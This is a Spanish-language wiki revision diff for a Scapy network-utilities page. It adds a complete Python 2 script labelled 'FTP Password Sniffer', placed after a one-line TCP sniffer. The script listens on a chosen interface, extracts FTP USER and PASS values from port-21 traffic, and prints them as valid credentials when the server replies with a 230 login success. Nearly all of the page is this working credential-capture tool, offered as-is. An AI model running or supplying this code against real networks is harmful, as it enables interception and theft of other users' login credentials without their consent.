Herramientas de usuario

Herramientas del sitio


enlaces:utilidades_de_red:scapy

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anteriorRevisión previa
Próxima revisión
Revisión previa
Próxima revisiónAmbos lados, revisión siguiente
enlaces:utilidades_de_red:scapy [2018/11/22 16:34] cayuenlaces:utilidades_de_red:scapy [2018/11/22 16:54] cayu
Línea 4: Línea 4:
 ==== Sniffer ==== ==== Sniffer ====
 <code python> <code python>
-sniff(iface="enp2s0", prn = lambda x: x.show(), filter="tcp", store=0)+sniff(iface="<interface>", prn = lambda x: x.show(), filter="tcp", store=0) 
 +</code> 
 +Python/Scapy FTP Password Sniffer : 
 +<code python> 
 +#! /usr/bin/python 
 +  
 +import sys 
 +from logging import getLogger, ERROR 
 +getLogger('scapy.runtime').setLevel(ERROR) 
 +try: 
 +    from scapy.all import * 
 +except ImportError: 
 +    print '[!] Error: Scapy Installation Not Found' 
 +    sys.exit(1) 
 +  
 +interface = sys.argv[1] 
 +  
 +usernames = ['Error: Unlucky Timing'
 +passwords = ['Error: Unlucky Timing'
 +  
 +def check_login(pkt, username, password): 
 +    try: 
 +        if '230' in pkt[Raw].load: 
 +            print '[*] Valid Credentials Found... ' 
 +            print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':' 
 +            print '\t   [*] Username: ' + username 
 +            print '\t   [*] Password: ' + password + '\n' 
 +            return 
 +        else: 
 +            return 
 +    except Exception: 
 +        return  
 +  
 +def check_for_ftp(pkt): 
 +    if pkt.haslayer(TCP) and pkt.haslayer(Raw): 
 +        if pkt[TCP].dport == 21 or pkt[TCP].sport == 21: 
 +            return True 
 +        else: 
 +            return False 
 +    else: 
 +        return False 
 +  
 +def check_pkt(pkt): 
 +    if check_for_ftp(pkt): 
 +        pass 
 +    else: 
 +        return 
 +    data = pkt[Raw].load 
 +    if 'USER ' in data: 
 +        usernames.append(data.split('USER ')[1].strip()) 
 +    elif 'PASS ' in data: 
 +        passwords.append(data.split('PASS ')[1].strip()) 
 +    else: 
 +        check_login(pkt, usernames[-1], passwords[-1]) 
 +    return 
 +  
 +print '[*] Sniffing Started on %s... \n' % interface 
 +try: 
 +    sniff(iface=interface, prn=check_pkt, store=0) 
 +except Exception: 
 +    print '[!] Error: Failed to Initialize Sniffing' 
 +    sys.exit(1) 
 +print '\n[*] Sniffing Stopped'
 </code> </code>
 ==== Ping ==== ==== Ping ====